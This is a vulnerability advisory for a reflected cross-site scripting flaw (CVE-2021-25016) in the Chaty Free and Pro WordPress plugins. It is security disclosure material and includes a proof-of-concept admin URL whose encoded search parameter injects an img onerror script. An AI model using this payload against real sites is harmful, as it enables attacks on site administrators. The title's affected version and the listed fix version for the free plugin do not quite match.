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Chaty Free < 2.8.3 & Pro < 2.8.2 - Reflected Cross-Site Scripting

Description

The plugins do not sanitise and escape the search parameter before outputting it back in the admin dashboard, leading to a Reflected Cross-Site Scripting

Proof of Concept

http://example.com/wp-admin/admin.php?page=chaty-contact-form-feed&search=%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E 

Affects Plugins

chaty
Fixed in version 2.8.4
chaty-pro
Fixed in version 2.8.2

References

CVE
CVE-2021-25016

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
b5035987-6227-4fc6-bc45-1e8016e5c4c0

Timeline

Publicly Published

2021-12-06 (about 1 years ago)

Added

2021-12-06 (about 1 years ago)

Last Updated

2022-04-13 (about 9 months ago)

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